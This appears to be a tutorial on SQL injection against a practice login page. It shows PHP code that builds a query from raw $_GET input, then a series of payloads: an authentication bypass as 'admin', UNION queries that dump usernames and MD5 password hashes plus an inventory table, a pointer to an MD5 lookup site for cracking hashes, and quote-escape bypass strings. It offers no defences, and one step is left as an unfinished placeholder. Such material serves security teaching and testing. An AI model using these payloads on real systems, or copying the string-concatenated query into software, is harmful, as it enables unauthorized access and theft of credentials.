SQL Injection Example attacks: Sample PHP code for authenticating a user during login $sql = "SELECT * FROM accounts WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'"; If I enter admin for both the username and password the resulting sql statement would be as follows SELECT * FROM accounts WHERE username='admin' and password = '21232f297a57a5a743894a0e4a801fc3' If there is a record in accounts with both username and password as admin, then I will get logged in, otherwise the login will fail. Thats all well and good, but there is a very critical problem. The problem here resides in the fact that there is no validation on what the user inputs, but the input is used to create a SQL statement. Lets take a look at the following SQL statement SELECT * FROM accounts WHERE username='admin' AND 1=1 /* and password = '21232f297a57a5a743894a0e4a801fc3 ' What would this statement result in? First thing to notice is the /* This is a comment delimiter in MySQL, which means anything following it is considered a comment and is ignored. Another way to think about it is that the SQL Statement ends at this point. So if there statement ends at the /* then the effective SQL statement is SELECT * FROM accounts WHERE username='admin' AND 1=1 So when will this generate a valid result? It will be valid if the username exists in the database, and if it does, then it will return that record. This means it will log me in as the admin without need for discovering/guessing the password!! The reason you want to use AND 1=1 instead of OR 1=1 is that you usually will want to be working from a valid user account once logged in. Alright, now look at the source code. Theres a link to the source on the main page. Notice that its displaying the username from the database query result. This means we can see data from the database. So lets try using a UNION query to get arbitrary data from the database. How to solve over/under column problems (need to add these details) Now that we know how many columns we have to work with, lets concat in the data In these we will get the account table records admin' AND 1=1 UNION SELECT NULL, concat(id, ' - ', username, ' - ', password) AS username, NULL FROM accounts LIMIT 1,1 /* Notice the last field is the MD5 hash. Here is where the toolkit link to the MD5 hash database comes in handy http://www.md5decrypt.com/ Put in that md5 hash and if its a common password, you will get a result Now lets get another user record by shifting the LIMIT to start on the next record admin' AND 1=1 UNION SELECT NULL, concat(id, ' - ', username, ' - ', password) AS username, NULL FROM accounts LIMIT 2,1 /* Now lets get data from an entirely different table admin' AND 1=1 UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 1,1 /* admin' AND 1=1 UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 2,1 /* As you can see, once you have a SQL injection point you can gain access to a great deal of database information. abc¿\' OR 1 = 1 LIMIT 1 # abc¿\' OR 1 = 1 LIMIT 1,1 #